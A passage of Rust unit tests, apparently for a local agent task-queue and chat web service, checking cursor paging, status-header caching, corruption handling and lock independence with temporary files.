26040 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26041 let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
26042 let expected =
26043 crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
26044 .unwrap();
26045 assert_eq!(actual.id, expected.id);
26046 assert!(!actual.status.open());
26047 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
26048 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26049 let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
26052 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
26053 }
26054 child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
26055 ui.queue.put(&mut child).unwrap();
26056 std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
26057 let (tasks, talks, _watches) =
26058 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26059 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
26060 child.origin_chat = Some(chat_id.clone());
26061 ui.queue.put(&mut child).unwrap();
26062 let (tasks, talks, _watches) =
26063 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26064 assert_eq!(
26065 crate::consult::origin_talk(&tasks, &talks, &question)
26066 .unwrap()
26067 .id,
26068 chat_id
26069 );
26070 let revision = question_record_revision(&question);
26071 question.abandon("settled elsewhere");
26072 assert_ne!(revision, question_record_revision(&question));
26073 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
26074 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
26075 std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
26076 let (tasks, talks, _watches) =
26077 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26078 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
26079 }
26080
26081 #[test]
26082 fn list_cursors_freeze_membership_and_expire_explicitly() {
26083 let home = tempfile::tempdir().unwrap();
26084 let ui = delta_test_ui(home.path());
26085 std::fs::create_dir_all(ui.queue.root()).unwrap();
26086 for i in 0..40 {
26087 std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
26088 }
26089 let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
26090 assert_eq!(first.len(), STORE_PAGE_SIZE);
26091 let cursor = cursor.unwrap();
26092 std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
26093 std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
26094 let (second, _) = page_ids(
26095 &ui,
26096 false,
26097 PageQuery {
26098 before: Some(cursor.clone()),
26099 },
26100 )
26101 .unwrap();
26102 assert_eq!(second[0], "record-0023");
26103 assert!(second.iter().all(|id| !first.contains(id)));
26104 assert!(
26105 page_ids(
26106 &ui,
26107 true,
26108 PageQuery {
26109 before: Some(cursor.clone())
26110 }
26111 )
26112 .is_err()
26113 );
26114 let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
26115 assert_eq!(fresh[0], "record-9999");
26116 ui.monitor.list_walks.lock().unwrap().clear();
26117 assert!(
26118 page_ids(
26119 &ui,
26120 false,
26121 PageQuery {
26122 before: Some(cursor)
26123 }
26124 )
26125 .is_err()
26126 );
26127 }
26128
26129 #[tokio::test]
26130 async fn talk_pages_load_every_open_then_frozen_closed_history() {
26131 let home = tempfile::tempdir().unwrap();
26132 let ui = delta_test_ui(home.path());
26133 for i in 0..23 {
26135 seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
26136 }
26137 for i in 0..45 {
26138 seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
26139 }
26140 std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
26141 let first = talks_page(
26142 State(ui.clone()),
26143 Query(PageQuery::default()),
26144 header::HeaderMap::new(),
26145 )
26146 .await
26147 .unwrap()
26148 .0;
26149 assert_eq!(
26150 first.rows.iter().filter(|row| row.status.open()).count(),
26151 23
26152 );
26153 assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
26154 assert!(first.rows[..23].iter().all(|row| row.status.open()));
26155 let parsed = ui
26156 .monitor
26157 .talk_parses
26158 .load(std::sync::atomic::Ordering::Relaxed);
26159 assert_eq!(
26160 parsed,
26161 first.rows.len(),
26162 "closed bodies outside this page are not restored"
26163 );
26164 let fresh = talks_page(
26165 State(ui.clone()),
26166 Query(PageQuery::default()),
26167 header::HeaderMap::new(),
26168 )
26169 .await
26170 .unwrap()
26171 .0;
26172 assert_eq!(fresh.rows.len(), first.rows.len());
26173 assert_eq!(
26174 ui.monitor
26175 .talk_parses
26176 .load(std::sync::atomic::Ordering::Relaxed),
26177 parsed
26178 );
26179 let mut seen: std::collections::HashSet<_> =
26180 first.rows.iter().map(|row| row.id.clone()).collect();
26181 seed_talk_at(&ui.talks, "20261019-000000-000", "open");
26183 seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
26184 std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
26185 let mut next = first.next;
26186 while let Some(cursor) = next {
26187 let page = talks_page(
26188 State(ui.clone()),
26189 Query(PageQuery {
26190 before: Some(cursor),
26191 }),
26192 header::HeaderMap::new(),
26193 )
26194 .await
26195 .unwrap()
26196 .0;
26197 assert!(page.rows.len() <= STORE_PAGE_SIZE);
26198 for row in page.rows {
26199 assert!(seen.insert(row.id), "a cursor must not repeat membership");
26200 }
26201 next = page.next;
26202 }
26203 let expected: HashSet<_> = (0..23)
26204 .map(|i| format!("20260101-000000-{i:03}"))
26205 .chain(
26206 (0..45)
26207 .filter(|i| *i != 1)
26208 .map(|i| format!("20261019-000000-{i:03}")),
26209 )
26210 .collect();
26211 assert_eq!(
26212 seen, expected,
26213 "the cursor walk must return every surviving ID"
26214 );
26215 let refreshed = talks_page(
26216 State(ui.clone()),
26217 Query(PageQuery::default()),
26218 header::HeaderMap::new(),
26219 )
26220 .await
26221 .unwrap()
26222 .0;
26223 assert_eq!(
26224 refreshed
26225 .rows
26226 .iter()
26227 .filter(|row| row.status.open())
26228 .count(),
26229 23
26230 );
26231 assert!(
26232 refreshed
26233 .rows
26234 .iter()
26235 .any(|row| row.id == "20261019-000000-000")
26236 );
26237 assert!(
26238 !refreshed
26239 .rows
26240 .iter()
26241 .any(|row| row.id == "20260101-000000-000")
26242 );
26243 }
26244
26245 #[test]
26246 fn talk_pages_with_only_open_rows_have_no_history_cursor() {
26247 let home = tempfile::tempdir().unwrap();
26248 let ui = delta_test_ui(home.path());
26249 for i in 0..STORE_PAGE_SIZE + 5 {
26250 seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
26251 }
26252 let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
26253 assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
26254 assert!(next.is_none());
26255 }
26256
26257 #[test]
26258 fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
26259 struct Counted<R> {
26260 inner: R,
26261 bytes: usize,
26262 }
26263 impl<R: std::io::Read> std::io::Read for Counted<R> {
26264 fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
26265 let n = self.inner.read(buf)?;
26266 self.bytes += n;
26267 Ok(n)
26268 }
26269 }
26270 let home = tempfile::tempdir().unwrap();
26271 let ui = delta_test_ui(home.path());
26272 let id = seed_talk_at(&ui.talks, "header-chat", "closed");
26273 let mut chat = ui.talks.get(&id).unwrap();
26274 for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
26275 chat.turns = vec![
26276 serde_json::from_value(serde_json::json!({
26277 "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
26278 }))
26279 .unwrap(),
26280 ];
26281 for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
26282 chat.status = status;
26283 let body = serde_json::to_vec_pretty(&chat).unwrap();
26285 let mut reader = Counted {
26286 inner: body.as_slice(),
26287 bytes: 0,
26288 };
26289 assert_eq!(read_talk_status(&mut reader), Some(status));
26290 assert!(
26291 reader.bytes <= 1024,
26292 "header classification read {} bytes",
26293 reader.bytes
26294 );
26295 }
26296 }
26297 let noncanonical = format!(
26300 r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
26301 "x".repeat(1024 * 1024)
26302 );
26303 let mut reader = Counted {
26304 inner: noncanonical.as_bytes(),
26305 bytes: 0,
26306 };
26307 assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
26308 assert!(reader.bytes <= 1024);
26309 let oversized = format!(
26310 r#"{{"agent":"{}","status":"open"}}"#,
26311 "x".repeat(128 * 1024)
26312 );
26313 let mut reader = Counted {
26314 inner: oversized.as_bytes(),
26315 bytes: 0,
26316 };
26317 assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
26318 assert!(reader.bytes <= 64 * 1024);
26319 }
26320
26321 #[test]
26322 fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
26323 let home = tempfile::tempdir().unwrap();
26324 let ui = delta_test_ui(home.path());
26325 seed_talk_at(&ui.talks, "header-chat", "open");
26326 std::fs::create_dir_all(ui.queue.root()).unwrap();
26327 let (started, ready) = std::sync::mpsc::channel();
26328 let (release, wait) = std::sync::mpsc::channel();
26329 let chat_ui = ui.clone();
26330 let scan = std::thread::spawn(move || {
26331 page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
26332 started.send(()).unwrap();
26333 wait.recv().unwrap();
26334 open_talk_ids(ui, ids)
26335 })
26336 .unwrap()
26337 });
26338 ready.recv_timeout(Duration::from_secs(2)).unwrap();
26339 let (finished, result) = std::sync::mpsc::channel();
26340 let queue = std::thread::spawn(move || {
26341 finished
26342 .send(page_ids(&ui, false, PageQuery::default()).is_ok())
26343 .unwrap();
26344 });
26345 let completed = result.recv_timeout(Duration::from_secs(2));
26346 release.send(()).unwrap();
26348 scan.join().unwrap();
26349 queue.join().unwrap();
26350 assert!(
26351 completed.unwrap(),
26352 "queue paging must not wait for chat header I/O"
26353 );
26354 }
26355
26356 #[test]
26357 fn talk_status_projection_does_not_cache_files_changed_during_read() {
26358 let home = tempfile::tempdir().unwrap();
26359 let ui = delta_test_ui(home.path());
26360 let ids = vec!["changing-chat".to_owned()];
26361 seed_talk_at(&ui.talks, &ids[0], "closed");
26362 assert!(open_talk_ids(&ui, &ids).is_empty());
26363 seed_talk_at(&ui.talks, &ids[0], "open");
26364 let open = open_talk_ids_with(&ui, &ids, cfg!(unix), |path| {
26365 let value: serde_json::Value =
26366 serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
26367 seed_talk_at(&ui.talks, &ids[0], "closed");
26369 serde_json::from_value(value["status"].clone()).ok()
26370 });
26371 assert!(open.contains(&ids[0]));
26372 assert!(
26373 ui.monitor
26374 .talk_status_index
26375 .lock()
26376 .unwrap()
26377 .records
26378 .is_empty()
26379 );
26380 assert!(open_talk_ids(&ui, &ids).is_empty());
26381 assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
26382 }
26383
26384 #[test]
26385 fn talk_status_projection_rereads_when_metadata_cannot_prove_identity() {
26386 let home = tempfile::tempdir().unwrap();
26387 let ui = delta_test_ui(home.path());
26388 let ids = vec!["same-stamp-chat".to_owned()];
26389 seed_talk_at(&ui.talks, &ids[0], "open");
26390 ui.monitor.talk_status_index.lock().unwrap().records.insert(
26393 ids[0].clone(),
26394 (
26395 file_identity(&ui.talks.path_of(&ids[0])).unwrap(),
26396 Some(talk::TalkStatus::Closed),
26397 ),
26398 );
26399 let open = open_talk_ids_with(&ui, &ids, false, |path| {
26400 std::fs::File::open(path).ok().and_then(read_talk_status)
26401 });
26402 assert!(
26403 open.contains(&ids[0]),
26404 "an untrusted cache hit must still read the current header"
26405 );
26406 assert!(
26407 ui.monitor
26408 .talk_status_index
26409 .lock()
26410 .unwrap()
26411 .records
26412 .is_empty()
26413 );
26414 seed_talk_at(&ui.talks, &ids[0], "closed");
26415 assert!(
26416 open_talk_ids_with(&ui, &ids, false, |path| {
26417 std::fs::File::open(path).ok().and_then(read_talk_status)
26418 })
26419 .is_empty()
26420 );
26421 let index = ui.monitor.talk_status_index.lock().unwrap();
26422 assert_eq!(index.parses, 2);
26423 assert!(
26424 index.records.is_empty(),
26425 "untrusted fingerprints must never publish cache entries"
26426 );
26427 }
26428
26429 #[test]
26430 fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
26431 let home = tempfile::tempdir().unwrap();
26432 let ui = delta_test_ui(home.path());
26433 let headers = header::HeaderMap::new();
26434 seed_talk_at(&ui.talks, "open-chat", "open");
26435 seed_talk_at(&ui.talks, "closed-chat", "closed");
26436 talk_rows(
26437 &ui,
26438 vec!["open-chat".into(), "closed-chat".into()],
26439 &headers,
26440 );
26441 {
26442 let mut index = ui.monitor.talk_index.lock().unwrap();
26443 let closed = index["closed-chat"].1.clone();
26444 for i in 0..1000 {
26445 index.insert(
26446 format!("cached-closed-{i}"),
26447 (
26448 file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
26449 closed.clone(),
26450 ),
26451 );
26452 }
26453 }
26454 assert_eq!(
26455 talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
26456 1
26457 );
26458 assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
26459 assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
26460 assert_eq!(
26461 ui.monitor
26462 .talk_parses
26463 .load(std::sync::atomic::Ordering::Relaxed),
26464 2
26465 );
26466 {
26467 let mut index = ui.monitor.talk_index.lock().unwrap();
26468 let open = index["open-chat"].1.clone();
26469 for i in 0..1000 {
26470 index.insert(
26471 format!("cached-open-{i}"),
26472 (
26473 file_identity(&ui.talks.path_of("open-chat")).unwrap(),
26474 open.clone(),
26475 ),
26476 );
26477 }
26478 }
26479 assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
26481 assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
26482 assert_eq!(
26483 ui.monitor
26484 .talk_parses
26485 .load(std::sync::atomic::Ordering::Relaxed),
26486 2
26487 );
26488 }
26489
26490 #[test]
26491 fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
26492 let home = tempfile::tempdir().unwrap();
26493 let ui = delta_test_ui(home.path());
26494 std::fs::create_dir_all(ui.talks.root()).unwrap();
26495 let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
26496 for id in &ids {
26497 std::fs::write(
26498 ui.talks.path_of(id),
26499 r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
26500 )
26501 .unwrap();
26502 }
26503 assert!(open_talk_ids(&ui, &ids).is_empty());
26504 assert_eq!(
26505 ui.monitor.talk_status_index.lock().unwrap().parses,
26506 ids.len()
26507 );
26508 assert!(open_talk_ids(&ui, &ids).is_empty());
26509 let reused = if cfg!(unix) { ids.len() } else { 2 * ids.len() };
26510 assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, reused);
26511 std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
26512 std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
26513 assert_eq!(
26514 open_talk_ids(&ui, &ids),
26515 std::collections::HashSet::from([ids[0].clone()])
26516 );
26517 let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
26518 let refreshed = if cfg!(unix) { 2 } else { ids.len() };
26519 assert_eq!(parsed, reused + refreshed);
26520 open_talk_ids(&ui, &ids);
26521 assert_eq!(
26522 ui.monitor.talk_status_index.lock().unwrap().parses,
26523 parsed + if cfg!(unix) { 0 } else { ids.len() },
26524 "only reliable file identity permits caching, including unreadable rows"
26525 );
26526 std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
26527 assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
26528 assert!(
26529 !ui.monitor
26530 .talk_status_index
26531 .lock()
26532 .unwrap()
26533 .records
26534 .contains_key(&ids[0])
26535 );
26536 assert!(
26537 ui.monitor.talk_index.lock().unwrap().is_empty(),
26538 "classification never caches bodies"
26539 );
26540 }
26541
26542 #[tokio::test]
26543 async fn stats_queue_index_counts_only_fresh_readable_statuses() {
26544 let home = tempfile::tempdir().unwrap();
26545 let ui = delta_test_ui(home.path());
26546 let mut task = Task::new(
26547 "task".into(),
26548 "body".into(),
26549 PathBuf::from("/repo"),
26550 Source::Human,
26551 );
26552 ui.queue.put(&mut task).unwrap();
26553 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
26554 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
26555 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
26556 let expected = parsed + usize::from(!cfg!(unix));
26557 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
26558 task.status = crate::queue::TaskStatus::Held;
26559 ui.queue.put(&mut task).unwrap();
26560 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
26561 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
26562 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
26563 ui.queue.put(&mut task).unwrap();
26564 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
26565 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
26566 assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
26567 }
26568
26569 #[tokio::test]
26570 async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
26571 let home = tempfile::tempdir().unwrap();
26572 let ui = delta_test_ui(home.path());
26573 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
26574 let before = health(State(ui.clone())).await.unwrap().0;
26575 ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
26576 let after = health(State(ui)).await.unwrap().0;
26577 assert_ne!(before.notifications_rev, after.notifications_rev);
26578 assert_eq!(after.notifications_unread, 1);
26579 }
26580
26581 #[tokio::test]
26582 async fn list_pages_bound_history_and_keep_dependency_evidence() {
26583 let home = tempfile::tempdir().unwrap();
26584 let ui = delta_test_ui(home.path());
26585 let queue = &ui.queue;
26586 let talks = &ui.talks;
26587 for i in 0..1000 {
26588 let id = format!("20261019-{i:06}-page");
26589 let mut task = Task::new(
26590 "task".into(),
26591 "instruction".repeat(100),
26592 PathBuf::from("/repo/magi"),
26593 Source::Human,
26594 );
26595 task.id = id.clone();
26596 if i == 0 {
26597 task.status = crate::queue::TaskStatus::Held;
26598 } else if i == 999 {
26599 task.status = crate::queue::TaskStatus::Blocked;
26600 task.blocked_by = vec!["20261019-000000-page".into()];
26601 }
26602 queue.put(&mut task).unwrap();
26603 seed_talk_at(talks, &id, "closed");
26604 }
26605 let page = serde_json::to_value(
26606 queue_page(State(ui.clone()), Query(PageQuery::default()))
26607 .await
26608 .unwrap()
26609 .0,
26610 )
26611 .unwrap();
26612 assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26613 assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
26614 assert!(
26615 !page["rows"][0]["stuck_roots"]
26616 .as_array()
26617 .unwrap()
26618 .is_empty()
26619 );
26620 let cursor = page["next"].as_str().unwrap();
26621 let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
26622 .as_str()
26623 .unwrap();
26624 std::fs::remove_file(queue.path_of(last_id)).unwrap();
26626 let next = serde_json::to_value(
26627 queue_page(
26628 State(ui.clone()),
26629 Query(PageQuery {
26630 before: Some(cursor.into()),
26631 }),
26632 )
26633 .await
26634 .unwrap()
26635 .0,
26636 )
26637 .unwrap();
26638 assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26639 assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
26640 let chats = serde_json::to_value(
26641 talks_page(
26642 State(ui.clone()),
26643 Query(PageQuery::default()),
26644 header::HeaderMap::new(),
26645 )
26646 .await
26647 .unwrap()
26648 .0,
26649 )
26650 .unwrap();
26651 assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26652 assert!(chats["rows"][0].get("pending").is_none());
26653 assert!(chats["rows"][0].get("turn_bodies_md").is_none());
26654 let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
26655 assert_eq!(counts["held"], 1);
26656 assert_eq!(counts["blocked"], 1);
26657 assert_eq!(counts["queued"], 997);
26658 }
26659
26660 #[test]
26661 fn queue_index_observes_external_replacement_deletion_and_corruption() {
26662 let dir = tempfile::tempdir().unwrap();
26663 let ui = delta_test_ui(dir.path());
26664 let mut task = Task::new(
26665 "task".into(),
26666 "body".into(),
26667 PathBuf::from("/repo"),
26668 Source::Human,
26669 );
26670 task.runs = vec!["run-a".into()];
26671 ui.queue.put(&mut task).unwrap();
26672 assert!(ui.find_task_for_run("run-a").unwrap().is_some());
26673 task.runs = vec!["run-b".into()];
26674 let path = ui.queue.path_of(&task.id);
26675 let modified = path.metadata().unwrap().modified().unwrap();
26676 let replacement = path.with_extension("replacement");
26677 let bytes = serde_json::to_vec_pretty(&task).unwrap();
26678 assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
26679 std::fs::write(&replacement, &bytes).unwrap();
26680 std::fs::File::options()
26681 .write(true)
26682 .open(&replacement)
26683 .unwrap()
26684 .set_times(std::fs::FileTimes::new().set_modified(modified))
26685 .unwrap();
26686 std::fs::rename(&replacement, &path).unwrap();
26687 assert!(ui.find_task_for_run("run-a").unwrap().is_none());
26688 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
26689 std::fs::write(&path, "broken").unwrap();
26690 assert!(ui.find_task_for_run("run-b").is_err());
26691 std::fs::write(&path, bytes).unwrap();
26692 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
26693 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
26694 assert!(ui.find_task_for_run("run-b").unwrap().is_none());
26695 }
26696
26697 #[tokio::test]
26698 async fn conversation_core_is_independent_of_unreadable_related_history() {
26699 let home = tempfile::tempdir().unwrap();
26700 let ui = delta_test_ui(home.path());
26701 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26702 std::fs::create_dir_all(ui.queue.root()).unwrap();
26703 std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
26704 let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
26705 .await
26706 .unwrap();
26707 assert_eq!(core.talk.id, id);
26708 assert!(talk_sections(State(ui), Path(id)).await.is_ok());
26709 }
26710
26711 #[test]
26712 fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
26713 let home = tempfile::tempdir().unwrap();
26714 let ui = delta_test_ui(home.path());
26715 let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
26716 let directory = home.path().join("workers/jobs/abcdef");
26717 std::fs::create_dir_all(&directory).unwrap();
26718 let job = crate::worker::Job {
26719 id: "abcdef".into(),
26720 sequence: 1,
26721 kind: "chat".into(),
26722 key: id.clone(),
26723 payload: serde_json::json!({ "talk": id }),
26724 generation: "test".into(),
26725 version: None,
26726 status: crate::worker::Status::Running,
26727 result: None,
26728 pid: None,
26729 created_at: 0,
26730 finished_at: None,
26731 };
26732 std::fs::write(
26733 directory.join("job.json"),
26734 serde_json::to_vec(&job).unwrap(),
26735 )
26736 .unwrap();
26737 let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
26738 let store =
26739 crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
26740 let runtime = tokio::runtime::Builder::new_current_thread()
26741 .enable_all()
26742 .max_blocking_threads(1)
26743 .build()
26744 .unwrap();
26745 runtime.block_on(async {
26746 let (release, held) = std::sync::mpsc::channel();
26747 let (started, ready) = tokio::sync::oneshot::channel();
26748 let occupied = tokio::task::spawn_blocking(move || {
26749 started.send(()).unwrap();
26750 held.recv().unwrap();
26751 });
26752 ready.await.unwrap();
26753 let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
26754 let bulk = ui
26755 .monitor
26756 .bulk_slots
26757 .clone()
26758 .acquire_many_owned(2)
26759 .await
26760 .unwrap();
26761 let result = tokio::time::timeout(
26762 Duration::from_secs(2),
26763 talk_core(State(ui.clone()), Path(id.clone())),
26764 )
26765 .await;
26766 drop(store);
26768 drop(bulk);
26769 release.send(()).unwrap();
26770 occupied.await.unwrap();
26771 let _ = secondary.await.unwrap().unwrap();
26772 let Json(core) = result
26773 .expect("transcript must bypass secondary work and the worker store lock")
26774 .unwrap();
26775 assert!(
26776 core.thinking,
26777 "read-only observation retains live worker state"
26778 );
26779 assert_eq!(core.talk.id, id);
26780 let admission_ui = ui.clone();
26781 let (release, held) = std::sync::mpsc::channel();
26782 let (started, ready) = tokio::sync::oneshot::channel();
26783 let admission = std::thread::spawn(move || {
26784 let _lock = admission_ui.talk_turns.lock().unwrap();
26785 started.send(()).unwrap();
26786 held.recv().unwrap();
26787 });
26788 ready.await.unwrap();
26789 let result = tokio::time::timeout(
26790 Duration::from_secs(2),
26791 talk_core(State(ui.clone()), Path(id.clone())),
26792 )
26793 .await;
26794 release.send(()).unwrap();
26795 admission.join().unwrap();
26796 assert!(
26797 result
26798 .expect("display must not wait behind local admission")
26799 .unwrap()
26800 .0
26801 .thinking
26802 );
26803 assert!(ui.is_thinking(&id));
26804 assert!(ui.is_thinking_observed(&id));
26805 drop(live);
26806 assert!(
26807 !ui.is_thinking_observed(&id),
26808 "a finished lease no longer appears live"
26809 );
26810 assert!(!ui.is_thinking(&id));
26811 let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
26812 assert!(
26813 ui.is_thinking_observed(&id),
26814 "local admission remains visible"
26815 );
26816 });
26817 }
26818
26819 #[tokio::test]
26820 async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
26821 let home = tempfile::tempdir().unwrap();
26822 let ui = delta_test_ui(home.path());
26823 let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
26824 let mut task = Task::new(
26825 "Referenced task".into(),
26826 "Unrelated instruction history".repeat(1024),
26827 home.path().into(),
26828 Source::Human,
26829 );
26830 task.id = "20261019-000000-abcd".into();
26831 ui.queue.put(&mut task).unwrap();
26832 let mut conversation = ui.talks.get(&id).unwrap();
26833 conversation.turns.push(talk::Turn {
26834 sender: Some(talk::Sender::Persona),
26835 who: talk::Who::Agent,
26836 body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
26837 at: conversation.created_at,
26838 attachments: Vec::new(),
26839 usage: None,
26840 breaks: None,
26841 messages: Vec::new(),
26842 posted_by: None,
26843 });
26844 ui.talks.put(&mut conversation).unwrap();
26845
26846 let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
26847 let markdown = serde_json::to_value(&core.turn_bodies_md)
26848 .unwrap()
26849 .to_string();
26850 assert!(markdown.contains("\"strong\""));
26851 assert!(markdown.contains("\"table\""));
26852 assert!(markdown.contains("\"bullet_list\""));
26853 assert!(markdown.contains("\"code_block\""));
26854 assert!(!markdown.contains("\"internal_link\""));
26855 assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
26856 assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
26857 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
26858
26859 let references = ui.references.for_talk(home.path(), &conversation);
26862 let mut decorated = core.turn_bodies_md[0].clone();
26863 references.markdown(&mut decorated);
26864 let decorated = serde_json::to_value(decorated).unwrap().to_string();
26865 assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
26866 assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
26867 assert_eq!(
26868 ui.talks.get(&conversation.id).unwrap().turns[0].body,
26869 conversation.turns[0].body
26870 );
26871 }
26872
26873 #[tokio::test]
26874 async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
26875 let home = tempfile::tempdir().unwrap();
26876 let ui = delta_test_ui(home.path());
26877 let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26878 let mut run = RunState::new(
26879 PathBuf::from("/repo"),
26880 "main".into(),
26881 "01234567".into(),
26882 "Useful run".into(),
26883 Config::default(),
26884 );
26885 run.save_under(home.path()).unwrap();
26886 let mut task = Task::new(
26887 "Related".into(),
26888 "body".into(),
26889 PathBuf::from("/repo"),
26890 Source::Agent {
26891 run: talk_id.clone(),
26892 node: "chat".into(),
26893 },
26894 );
26895 task.runs = vec![run.id.clone()];
26896 ui.queue.put(&mut task).unwrap();
26897 std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
26898 assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
26899 assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
26900 assert!(
26901 run_detail(State(ui.clone()), Path(run.id.clone()))
26902 .await
26903 .is_ok()
26904 );
26905 assert!(
26906 talk_sections(State(ui.clone()), Path(talk_id.clone()))
26907 .await
26908 .is_ok()
26909 );
26910 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
26912 assert!(ui.find_task_for_run(&run.id).is_err());
26913 assert!(ui.find_tasks_for_talk(&talk_id).is_err());
26914 ui.queue.put(&mut task).unwrap();
26915 assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
26916 }
26917
26918 #[tokio::test]
26919 async fn conversation_sections_omit_large_task_instructions() {
26920 let home = tempfile::tempdir().unwrap();
26921 let ui = delta_test_ui(home.path());
26922 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26923 let mut task = Task::new(
26924 "filed task".into(),
26925 "large instruction ".repeat(65536),
26926 PathBuf::from("/repo"),
26927 Source::Agent {
